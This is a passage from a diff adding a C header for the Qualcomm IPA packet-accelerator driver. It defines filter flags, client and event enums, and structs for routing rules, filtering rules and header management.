+#define IPA_FLT_CODE                        (1ul << 7)
+#define IPA_FLT_SPI                        (1ul << 8)
+#define IPA_FLT_SRC_PORT                (1ul << 9)
+#define IPA_FLT_DST_PORT                (1ul << 10)
+#define IPA_FLT_TC                        (1ul << 11)
+#define IPA_FLT_FLOW_LABEL                (1ul << 12)
+#define IPA_FLT_NEXT_HDR                (1ul << 13)
+#define IPA_FLT_META_DATA                (1ul << 14)
+#define IPA_FLT_FRAGMENT                (1ul << 15)
+#define IPA_FLT_TOS_MASKED                (1ul << 16)
+#define IPA_FLT_MAC_SRC_ADDR_ETHER_II        (1ul << 17)
+#define IPA_FLT_MAC_DST_ADDR_ETHER_II        (1ul << 18)
+#define IPA_FLT_MAC_SRC_ADDR_802_3        (1ul << 19)
+#define IPA_FLT_MAC_DST_ADDR_802_3        (1ul << 20)
+#define IPA_FLT_MAC_ETHER_TYPE                (1ul << 21)
+
+/**
+ * enum ipa_client_type - names for the various IPA "clients"
+ * these are from the perspective of the clients, for e.g.
+ * HSIC1_PROD means HSIC client is the producer and IPA is the
+ * consumer
+ */
+enum ipa_client_type {
+        IPA_CLIENT_PROD,
+        IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
+        IPA_CLIENT_WLAN1_PROD,
+        IPA_CLIENT_HSIC2_PROD,
+        IPA_CLIENT_USB2_PROD,
+        IPA_CLIENT_HSIC3_PROD,
+        IPA_CLIENT_USB3_PROD,
+        IPA_CLIENT_HSIC4_PROD,
+        IPA_CLIENT_USB4_PROD,
+        IPA_CLIENT_HSIC5_PROD,
+        IPA_CLIENT_USB_PROD,
+        IPA_CLIENT_A5_WLAN_AMPDU_PROD,
+        IPA_CLIENT_A2_EMBEDDED_PROD,
+        IPA_CLIENT_A2_TETHERED_PROD,
+        IPA_CLIENT_APPS_LAN_WAN_PROD,
+        IPA_CLIENT_APPS_CMD_PROD,
+        IPA_CLIENT_ODU_PROD,
+        IPA_CLIENT_MHI_PROD,
+        IPA_CLIENT_Q6_LAN_PROD,
+        IPA_CLIENT_Q6_WAN_PROD,
+        IPA_CLIENT_Q6_CMD_PROD,
+        IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
+        IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
+        IPA_CLIENT_Q6_DECOMP_PROD,
+        IPA_CLIENT_Q6_DECOMP2_PROD,
+        IPA_CLIENT_UC_USB_PROD,
+
+        /* Below PROD client type is only for test purpose */
+        IPA_CLIENT_TEST_PROD,
+        IPA_CLIENT_TEST1_PROD,
+        IPA_CLIENT_TEST2_PROD,
+        IPA_CLIENT_TEST3_PROD,
+        IPA_CLIENT_TEST4_PROD,
+
+        IPA_CLIENT_CONS,
+        IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
+        IPA_CLIENT_WLAN1_CONS,
+        IPA_CLIENT_HSIC2_CONS,
+        IPA_CLIENT_USB2_CONS,
+        IPA_CLIENT_WLAN2_CONS,
+        IPA_CLIENT_HSIC3_CONS,
+        IPA_CLIENT_USB3_CONS,
+        IPA_CLIENT_WLAN3_CONS,
+        IPA_CLIENT_HSIC4_CONS,
+        IPA_CLIENT_USB4_CONS,
+        IPA_CLIENT_WLAN4_CONS,
+        IPA_CLIENT_HSIC5_CONS,
+        IPA_CLIENT_USB_CONS,
+        IPA_CLIENT_USB_DPL_CONS,
+        IPA_CLIENT_A2_EMBEDDED_CONS,
+        IPA_CLIENT_A2_TETHERED_CONS,
+        IPA_CLIENT_A5_LAN_WAN_CONS,
+        IPA_CLIENT_APPS_LAN_CONS,
+        IPA_CLIENT_APPS_WAN_CONS,
+        IPA_CLIENT_ODU_EMB_CONS,
+        IPA_CLIENT_ODU_TETH_CONS,
+        IPA_CLIENT_MHI_CONS,
+        IPA_CLIENT_Q6_LAN_CONS,
+        IPA_CLIENT_Q6_WAN_CONS,
+        IPA_CLIENT_Q6_DUN_CONS,
+        IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
+        IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
+        IPA_CLIENT_Q6_DECOMP_CONS,
+        IPA_CLIENT_Q6_DECOMP2_CONS,
+        IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
+        /* Below CONS client type is only for test purpose */
+        IPA_CLIENT_TEST_CONS,
+        IPA_CLIENT_TEST1_CONS,
+        IPA_CLIENT_TEST2_CONS,
+        IPA_CLIENT_TEST3_CONS,
+        IPA_CLIENT_TEST4_CONS,
+
+        IPA_CLIENT_MAX,
+};
+
+#define IPA_CLIENT_IS_APPS_CONS(client) \
+        ((client) == IPA_CLIENT_APPS_LAN_CONS || \
+        (client) == IPA_CLIENT_APPS_WAN_CONS)
+
+#define IPA_CLIENT_IS_USB_CONS(client) \
+        ((client) == IPA_CLIENT_USB_CONS || \
+        (client) == IPA_CLIENT_USB2_CONS || \
+        (client) == IPA_CLIENT_USB3_CONS || \
+        (client) == IPA_CLIENT_USB_DPL_CONS || \
+        (client) == IPA_CLIENT_USB4_CONS)
+
+#define IPA_CLIENT_IS_WLAN_CONS(client) \
+        ((client) == IPA_CLIENT_WLAN1_CONS || \
+        (client) == IPA_CLIENT_WLAN2_CONS || \
+        (client) == IPA_CLIENT_WLAN3_CONS || \
+        (client) == IPA_CLIENT_WLAN4_CONS)
+
+#define IPA_CLIENT_IS_ODU_CONS(client) \
+        ((client) == IPA_CLIENT_ODU_EMB_CONS || \
+        (client) == IPA_CLIENT_ODU_TETH_CONS)
+
+#define IPA_CLIENT_IS_Q6_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
+        (client) == IPA_CLIENT_Q6_WAN_CONS || \
+        (client) == IPA_CLIENT_Q6_DUN_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
+        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
+
+#define IPA_CLIENT_IS_Q6_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
+        (client) == IPA_CLIENT_Q6_WAN_PROD || \
+        (client) == IPA_CLIENT_Q6_CMD_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
+
+#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
+        (client) == IPA_CLIENT_Q6_WAN_CONS || \
+        (client) == IPA_CLIENT_Q6_DUN_CONS || \
+        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
+
+#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
+
+#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
+        (client) == IPA_CLIENT_Q6_WAN_PROD || \
+        (client) == IPA_CLIENT_Q6_CMD_PROD)
+
+#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
+
+#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
+        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
+        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
+
+#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
+        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
+        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
+
+#define IPA_CLIENT_IS_MHI_CONS(client) \
+        ((client) == IPA_CLIENT_MHI_CONS)
+
+#define IPA_CLIENT_IS_MHI(client) \
+        ((client) == IPA_CLIENT_MHI_CONS || \
+        (client) == IPA_CLIENT_MHI_PROD)
+
+#define IPA_CLIENT_IS_TEST_PROD(client) \
+        ((client) == IPA_CLIENT_TEST_PROD || \
+        (client) == IPA_CLIENT_TEST1_PROD || \
+        (client) == IPA_CLIENT_TEST2_PROD || \
+        (client) == IPA_CLIENT_TEST3_PROD || \
+        (client) == IPA_CLIENT_TEST4_PROD)
+
+#define IPA_CLIENT_IS_TEST_CONS(client) \
+        ((client) == IPA_CLIENT_TEST_CONS || \
+        (client) == IPA_CLIENT_TEST1_CONS || \
+        (client) == IPA_CLIENT_TEST2_CONS || \
+        (client) == IPA_CLIENT_TEST3_CONS || \
+        (client) == IPA_CLIENT_TEST4_CONS)
+
+#define IPA_CLIENT_IS_TEST(client) \
+        (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
+
+/**
+ * enum ipa_ip_type - Address family: IPv4 or IPv6
+ */
+enum ipa_ip_type {
+        IPA_IP_v4,
+        IPA_IP_v6,
+        IPA_IP_MAX
+};
+
+/**
+ * enum ipa_rule_type - Type of routing or filtering rule
+ * Hashable: Rule will be located at the hashable tables
+ * Non_Hashable: Rule will be located at the non-hashable tables
+ */
+enum ipa_rule_type {
+        IPA_RULE_HASHABLE,
+        IPA_RULE_NON_HASHABLE,
+        IPA_RULE_TYPE_MAX
+};
+
+/**
+ * enum ipa_flt_action - action field of filtering rule
+ *
+ * Pass to routing: 5'd0
+ * Pass to source NAT: 5'd1
+ * Pass to destination NAT: 5'd2
+ * Pass to default output pipe (e.g., Apps or Modem): 5'd3
+ */
+enum ipa_flt_action {
+        IPA_PASS_TO_ROUTING,
+        IPA_PASS_TO_SRC_NAT,
+        IPA_PASS_TO_DST_NAT,
+        IPA_PASS_TO_EXCEPTION
+};
+
+/**
+ * enum ipa_wlan_event - Events for wlan client
+ *
+ * wlan client connect: New wlan client connected
+ * wlan client disconnect: wlan client disconnected
+ * wlan client power save: wlan client moved to power save
+ * wlan client normal: wlan client moved out of power save
+ * sw routing enable: ipa routing is disabled
+ * sw routing disable: ipa routing is enabled
+ * wlan ap connect: wlan AP(access point) is up
+ * wlan ap disconnect: wlan AP(access point) is down
+ * wlan sta connect: wlan STA(station) is up
+ * wlan sta disconnect: wlan STA(station) is down
+ * wlan client connect ex: new wlan client connected
+ * wlan scc switch: wlan interfaces in scc mode
+ * wlan mcc switch: wlan interfaces in mcc mode
+ * wlan wdi enable: wdi data path completed
+ * wlan wdi disable: wdi data path teardown
+ */
+enum ipa_wlan_event {
+        WLAN_CLIENT_CONNECT,
+        WLAN_CLIENT_DISCONNECT,
+        WLAN_CLIENT_POWER_SAVE_MODE,
+        WLAN_CLIENT_NORMAL_MODE,
+        SW_ROUTING_ENABLE,
+        SW_ROUTING_DISABLE,
+        WLAN_AP_CONNECT,
+        WLAN_AP_DISCONNECT,
+        WLAN_STA_CONNECT,
+        WLAN_STA_DISCONNECT,
+        WLAN_CLIENT_CONNECT_EX,
+        WLAN_SWITCH_TO_SCC,
+        WLAN_SWITCH_TO_MCC,
+        WLAN_WDI_ENABLE,
+        WLAN_WDI_DISABLE,
+        IPA_WLAN_EVENT_MAX
+};
+
+/**
+ * enum ipa_wan_event - Events for wan client
+ *
+ * wan default route add/del
+ * wan embms connect: New wan embms interface connected
+ */
+enum ipa_wan_event {
+        WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
+        WAN_UPSTREAM_ROUTE_DEL,
+        WAN_EMBMS_CONNECT,
+        WAN_XLAT_CONNECT,
+        IPA_WAN_EVENT_MAX
+};
+
+enum ipa_ecm_event {
+        ECM_CONNECT = IPA_WAN_EVENT_MAX,
+        ECM_DISCONNECT,
+        IPA_ECM_EVENT_MAX,
+};
+
+enum ipa_tethering_stats_event {
+        IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
+        IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
+        IPA_TETHERING_STATS_EVENT_MAX,
+        IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
+};
+
+#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
+
+/**
+ * enum ipa_rm_resource_name - IPA RM clients identification names
+ *
+ * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
+ * when adding new entry to this enum.
+ */
+enum ipa_rm_resource_name {
+        IPA_RM_RESOURCE_PROD = 0,
+        IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
+        IPA_RM_RESOURCE_USB_PROD,
+        IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
+        IPA_RM_RESOURCE_HSIC_PROD,
+        IPA_RM_RESOURCE_STD_ECM_PROD,
+        IPA_RM_RESOURCE_RNDIS_PROD,
+        IPA_RM_RESOURCE_WWAN_0_PROD,
+        IPA_RM_RESOURCE_WLAN_PROD,
+        IPA_RM_RESOURCE_ODU_ADAPT_PROD,
+        IPA_RM_RESOURCE_MHI_PROD,
+        IPA_RM_RESOURCE_PROD_MAX,
+
+        IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
+        IPA_RM_RESOURCE_USB_CONS,
+        IPA_RM_RESOURCE_USB_DPL_CONS,
+        IPA_RM_RESOURCE_HSIC_CONS,
+        IPA_RM_RESOURCE_WLAN_CONS,
+        IPA_RM_RESOURCE_APPS_CONS,
+        IPA_RM_RESOURCE_ODU_ADAPT_CONS,
+        IPA_RM_RESOURCE_MHI_CONS,
+        IPA_RM_RESOURCE_MAX
+};
+
+/**
+ * enum ipa_hw_type - IPA hardware version type
+ * @IPA_HW_None: IPA hardware version not defined
+ * @IPA_HW_v1_0: IPA hardware version 1.0
+ * @IPA_HW_v1_1: IPA hardware version 1.1
+ * @IPA_HW_v2_0: IPA hardware version 2.0
+ * @IPA_HW_v2_1: IPA hardware version 2.1
+ * @IPA_HW_v2_5: IPA hardware version 2.5
+ * @IPA_HW_v2_6: IPA hardware version 2.6
+ * @IPA_HW_v2_6L: IPA hardware version 2.6L
+ * @IPA_HW_v3_0: IPA hardware version 3.0
+ */
+enum ipa_hw_type {
+        IPA_HW_None = 0,
+        IPA_HW_v1_0 = 1,
+        IPA_HW_v1_1 = 2,
+        IPA_HW_v2_0 = 3,
+        IPA_HW_v2_1 = 4,
+        IPA_HW_v2_5 = 5,
+        IPA_HW_v2_6 = IPA_HW_v2_5,
+        IPA_HW_v2_6L = 6,
+        IPA_HW_v3_0 = 10,
+        IPA_HW_v3_1 = 11,
+        IPA_HW_MAX
+};
+
+/**
+ * struct ipa_rule_attrib - attributes of a routing/filtering
+ * rule, all in LE
+ * @attrib_mask: what attributes are valid
+ * @src_port_lo: low port of src port range
+ * @src_port_hi: high port of src port range
+ * @dst_port_lo: low port of dst port range
+ * @dst_port_hi: high port of dst port range
+ * @type: ICMP/IGMP type
+ * @code: ICMP/IGMP code
+ * @spi: IPSec SPI
+ * @src_port: exact src port
+ * @dst_port: exact dst port
+ * @meta_data: meta-data val
+ * @meta_data_mask: meta-data mask
+ * @u.v4.tos: type of service
+ * @u.v4.protocol: protocol
+ * @u.v4.src_addr: src address value
+ * @u.v4.src_addr_mask: src address mask
+ * @u.v4.dst_addr: dst address value
+ * @u.v4.dst_addr_mask: dst address mask
+ * @u.v6.tc: traffic class
+ * @u.v6.flow_label: flow label
+ * @u.v6.next_hdr: next header
+ * @u.v6.src_addr: src address val
+ * @u.v6.src_addr_mask: src address mask
+ * @u.v6.dst_addr: dst address val
+ * @u.v6.dst_addr_mask: dst address mask
+ */
+struct ipa_rule_attrib {
+        uint32_t attrib_mask;
+        uint16_t src_port_lo;
+        uint16_t src_port_hi;
+        uint16_t dst_port_lo;
+        uint16_t dst_port_hi;
+        uint8_t type;
+        uint8_t code;
+        uint8_t tos_value;
+        uint8_t tos_mask;
+        uint32_t spi;
+        uint16_t src_port;
+        uint16_t dst_port;
+        uint32_t meta_data;
+        uint32_t meta_data_mask;
+        uint8_t src_mac_addr[ETH_ALEN];
+        uint8_t src_mac_addr_mask[ETH_ALEN];
+        uint8_t dst_mac_addr[ETH_ALEN];
+        uint8_t dst_mac_addr_mask[ETH_ALEN];
+        uint16_t ether_type;
+        union {
+                struct {
+                        uint8_t tos;
+                        uint8_t protocol;
+                        uint32_t src_addr;
+                        uint32_t src_addr_mask;
+                        uint32_t dst_addr;
+                        uint32_t dst_addr_mask;
+                } v4;
+                struct {
+                        uint8_t tc;
+                        uint32_t flow_label;
+                        uint8_t next_hdr;
+                        uint32_t src_addr[4];
+                        uint32_t src_addr_mask[4];
+                        uint32_t dst_addr[4];
+                        uint32_t dst_addr_mask[4];
+                } v6;
+        } u;
+};
+
+/*! @brief The maximum number of Mask Equal 32 Eqns */
+#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
+
+/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
+#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
+
+/*! @brief The maximum number of Mask Equal 128 Eqns */
+#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
+
+/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
+#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
+
+/*! @brief Offset and 16 bit comparison equation */
+struct ipa_ipfltr_eq_16 {
+        int8_t offset;
+        uint16_t value;
+};
+
+/*! @brief Offset and 32 bit comparison equation */
+struct ipa_ipfltr_eq_32 {
+        int8_t offset;
+        uint32_t value;
+};
+
+/*! @brief Offset and 128 bit masked comparison equation */
+struct ipa_ipfltr_mask_eq_128 {
+        int8_t offset;
+        uint8_t mask[16];
+        uint8_t value[16];
+};
+
+/*! @brief Offset and 32 bit masked comparison equation */
+struct ipa_ipfltr_mask_eq_32 {
+        int8_t offset;
+        uint32_t mask;
+        uint32_t value;
+};
+
+/*! @brief Equation for identifying a range. Ranges are inclusive */
+struct ipa_ipfltr_range_eq_16 {
+        int8_t offset;
+        uint16_t range_low;
+        uint16_t range_high;
+};
+
+/*! @brief Rule equations which are set according to DS filter installation */
+struct ipa_ipfltri_rule_eq {
+        /*! 16-bit Bitmask to indicate how many eqs are valid in this rule  */
+        uint16_t rule_eq_bitmap;
+        /*! Specifies if a type of service check rule is present */
+        uint8_t tos_eq_present;
+        /*! The value to check against the type of service (ipv4) field */
+        uint8_t tos_eq;
+        /*! Specifies if a protocol check rule is present */
+        uint8_t protocol_eq_present;
+        /*! The value to check against the protocol (ipv6) field */
+        uint8_t protocol_eq;
+        /*! The number of ip header length offset 16 bit range check
+         * rules in this rule */
+        uint8_t num_ihl_offset_range_16;
+        /*! An array of the registered ip header length offset 16 bit
+         * range check rules */
+        struct ipa_ipfltr_range_eq_16
+                ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
+        /*! The number of mask equal 32 rules present in this rule */
+        uint8_t num_offset_meq_32;
+        /*! An array of all the possible mask equal 32 rules in this rule */
+        struct ipa_ipfltr_mask_eq_32
+                offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
+        /*! Specifies if the traffic class rule is present in this rule */
+        uint8_t tc_eq_present;
+        /*! The value to check the traffic class (ipv4) field against */
+        uint8_t tc_eq;
+        /*! Specifies if the flow equals rule is present in this rule */
+        uint8_t fl_eq_present;
+        /*! The value to check the flow (ipv6) field against */
+        uint32_t fl_eq;
+        /*! The number of ip header length offset 16 bit equations in this
+         * rule */
+        uint8_t ihl_offset_eq_16_present;
+        /*! The ip header length offset 16 bit equation */
+        struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
+        /*! The number of ip header length offset 32 bit equations in this
+         * rule */
+        uint8_t ihl_offset_eq_32_present;
+        /*! The ip header length offset 32 bit equation */
+        struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
+        /*! The number of ip header length offset 32 bit mask equations in
+         * this rule */
+        uint8_t num_ihl_offset_meq_32;
+        /*! The ip header length offset 32 bit mask equation */
+        struct ipa_ipfltr_mask_eq_32
+                ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
+        /*! The number of ip header length offset 128 bit equations in this
+         * rule */
+        uint8_t num_offset_meq_128;
+        /*! The ip header length offset 128 bit equation */
+        struct ipa_ipfltr_mask_eq_128
+                offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
+        /*! The metadata 32 bit masked comparison equation present or not */
+        /* Metadata based rules are added internally by IPA driver */
+        uint8_t metadata_meq32_present;
+        /*! The metadata 32 bit masked comparison equation */
+        struct ipa_ipfltr_mask_eq_32 metadata_meq32;
+        /*! Specifies if the Fragment equation is present in this rule */
+        uint8_t ipv4_frag_eq_present;
+};
+
+/**
+ * struct ipa_flt_rule - attributes of a filtering rule
+ * @retain_hdr: bool switch to instruct IPA core to add back to the packet
+ *  the header removed as part of header removal
+ * @to_uc: bool switch to pass packet to micro-controller
+ * @action: action field
+ * @rt_tbl_hdl: handle of table from "get"
+ * @attrib: attributes of the rule
+ * @eq_attrib: attributes of the rule in equation form (valid when
+ * eq_attrib_type is true)
+ * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
+ * eq_attrib_type is true and non-exception action)
+ * @eq_attrib_type: true if equation level form used to specify attributes
+ * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
+ *  IPA will use the rule and will not look for other rules that may have
+ *  higher priority
+ * @hashable: bool switch. is this rule hashable or not?
+ *  ipa uses hashable rules to cache their hit results to be used in
+ *  consecutive packets
+ * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
+ *  rule_id as 0 the driver will assign a new rule_id
+ */
+struct ipa_flt_rule {
+        uint8_t retain_hdr;
+        uint8_t to_uc;
+        enum ipa_flt_action action;
+        uint32_t rt_tbl_hdl;
+        struct ipa_rule_attrib attrib;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+        uint32_t rt_tbl_idx;
+        uint8_t eq_attrib_type;
+        uint8_t max_prio;
+        uint8_t hashable;
+        uint16_t rule_id;
+};
+
+/**
+ * enum ipa_hdr_l2_type - L2 header type
+ * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
+ * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
+ * IPA_HDR_L2_802_3: L2 header of type 802_3
+ */
+enum ipa_hdr_l2_type {
+        IPA_HDR_L2_NONE,
+        IPA_HDR_L2_ETHERNET_II,
+        IPA_HDR_L2_802_3,
+        IPA_HDR_L2_MAX,
+};
+
+/**
+ * enum ipa_hdr_l2_type - Processing context type
+ * IPA_HDR_PROC_NONE: No processing context
+ * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
+ * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
+ * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
+ * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
+ */
+enum ipa_hdr_proc_type {
+        IPA_HDR_PROC_NONE,
+        IPA_HDR_PROC_ETHII_TO_ETHII,
+        IPA_HDR_PROC_ETHII_TO_802_3,
+        IPA_HDR_PROC_802_3_TO_ETHII,
+        IPA_HDR_PROC_802_3_TO_802_3,
+        IPA_HDR_PROC_MAX,
+};
+
+/**
+ * struct ipa_rt_rule - attributes of a routing rule
+ * @dst: dst "client"
+ * @hdr_hdl: handle to the dynamic header
+        it is not an index or an offset
+ * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
+        hdr_hdl shall be 0
+ * @attrib: attributes of the rule
+ * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
+ *  IPA will use the rule and will not look for other rules that may have
+ *  higher priority
+ * @hashable: bool switch. is this rule hashable or not?
+ *  ipa uses hashable rules to cache their hit results to be used in
+ *  consecutive packets
+ * @retain_hdr: bool switch to instruct IPA core to add back to the packet
+ *  the header removed as part of header removal
+ */
+struct ipa_rt_rule {
+        enum ipa_client_type dst;
+        uint32_t hdr_hdl;
+        uint32_t hdr_proc_ctx_hdl;
+        struct ipa_rule_attrib attrib;
+        uint8_t max_prio;
+        uint8_t hashable;
+        uint8_t retain_hdr;
+};
+
+/**
+ * struct ipa_hdr_add - header descriptor includes in and out
+ * parameters
+ * @name: name of the header
+ * @hdr: actual header to be inserted
+ * @hdr_len: size of above header
+ * @type: l2 header type
+ * @is_partial: header not fully specified
+ * @hdr_hdl: out parameter, handle to header, valid when status is 0
+ * @status:        out parameter, status of header add operation,
+ *                0 for success,
+ *                -1 for failure
+ * @is_eth2_ofst_valid: is eth2_ofst field valid?
+ * @eth2_ofst: offset to start of Ethernet-II/802.3 header
+ */
+struct ipa_hdr_add {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t hdr[IPA_HDR_MAX_SIZE];
+        uint8_t hdr_len;
+        enum ipa_hdr_l2_type type;
+        uint8_t is_partial;
+        uint32_t hdr_hdl;
+        int status;
+        uint8_t is_eth2_ofst_valid;
+        uint16_t eth2_ofst;
+};
+
+/**
+ * struct ipa_ioc_add_hdr - header addition parameters (support
+ * multiple headers and commit)
+ * @commit: should headers be written to IPA HW also?
+ * @num_hdrs: num of headers that follow
+ * @ipa_hdr_add hdr:        all headers need to go here back to
+ *                        back, no pointers
+ */
+struct ipa_ioc_add_hdr {
+        uint8_t commit;
+        uint8_t num_hdrs;
+        struct ipa_hdr_add hdr[0];
+};
+
+/**
+ * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
+ * in and out parameters
+ * @type: processing context type
+ * @hdr_hdl: in parameter, handle to header
+ * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
+ * @status:        out parameter, status of header add operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_proc_ctx_add {
+        enum ipa_hdr_proc_type type;
+        uint32_t hdr_hdl;
+        uint32_t proc_ctx_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_hdr - processing context addition parameters (support
+ * multiple processing context and commit)
+ * @commit: should processing context be written to IPA HW also?
+ * @num_proc_ctxs: num of processing context that follow
+ * @proc_ctx:        all processing context need to go here back to
+ *                        back, no pointers
+ */
+struct ipa_ioc_add_hdr_proc_ctx {
+        uint8_t commit;
+        uint8_t num_proc_ctxs;
+        struct ipa_hdr_proc_ctx_add proc_ctx[0];
+};
+
+/**
+ * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
+ * header - caller can then derive the complete header
+ * @name: name of the header resource
+ * @hdr:        out parameter, contents of specified header,
+ *        valid only when ioctl return val is non-negative
+ * @hdr_len: out parameter, size of above header
+ *        valid only when ioctl return val is non-negative
+ * @type: l2 header type
+ *        valid only when ioctl return val is non-negative
+ * @is_partial:        out parameter, indicates whether specified header is partial
+ *                valid only when ioctl return val is non-negative
+ * @is_eth2_ofst_valid: is eth2_ofst field valid?
+ * @eth2_ofst: offset to start of Ethernet-II/802.3 header
+ */
+struct ipa_ioc_copy_hdr {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t hdr[IPA_HDR_MAX_SIZE];
+        uint8_t hdr_len;
+        enum ipa_hdr_l2_type type;
+        uint8_t is_partial;
+        uint8_t is_eth2_ofst_valid;
+        uint16_t eth2_ofst;
+};
+
+/**
+ * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
+ * successful caller must call put to release the reference count when done
+ * @name: name of the header resource
+ * @hdl:        out parameter, handle of header entry
+ *                valid only when ioctl return val is non-negative
+ */
+struct ipa_ioc_get_hdr {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t hdl;
+};
+
+/**
+ * struct ipa_hdr_del - header descriptor includes in and out
+ * parameters
+ *
+ * @hdl: handle returned from header add operation
+ * @status:        out parameter, status of header remove operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_hdr - header deletion parameters (support
+ * multiple headers and commit)
+ * @commit: should headers be removed from IPA HW also?
+ * @num_hdls: num of headers being removed
+ * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
+ */
+struct ipa_ioc_del_hdr {
+        uint8_t commit;
+        uint8_t num_hdls;
+        struct ipa_hdr_del hdl[0];
+};
+
+/**
+ * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
+ * in and out parameters
+ * @hdl: handle returned from processing context add operation
+ * @status:        out parameter, status of header remove operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_hdr_proc_ctx_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
+ * multiple headers and commit)
+ * @commit: should processing contexts be removed from IPA HW also?
+ * @num_hdls: num of processing contexts being removed
+ * @ipa_hdr_proc_ctx_del hdl:        all handles need to go here back to back,
+  *                                no pointers
+ */
+struct ipa_ioc_del_hdr_proc_ctx {
+        uint8_t commit;
+        uint8_t num_hdls;
+        struct ipa_hdr_proc_ctx_del hdl[0];
+};
+
+/**
+ * struct ipa_rt_rule_add - routing rule descriptor includes in
+ * and out parameters
+ * @rule: actual rule to be added
+ * @at_rear:        add at back of routing table, it is NOT possible to add rules at
+ *                the rear of the "default" routing tables
+ * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
+ * @status:        output parameter, status of routing rule add operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_rt_rule_add {
+        struct ipa_rt_rule rule;
+        uint8_t at_rear;
+        uint32_t rt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
+ * multiple rules and commit);
+ *
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @rt_tbl_name: name of routing table resource
+ * @num_rules: number of routing rules that follow
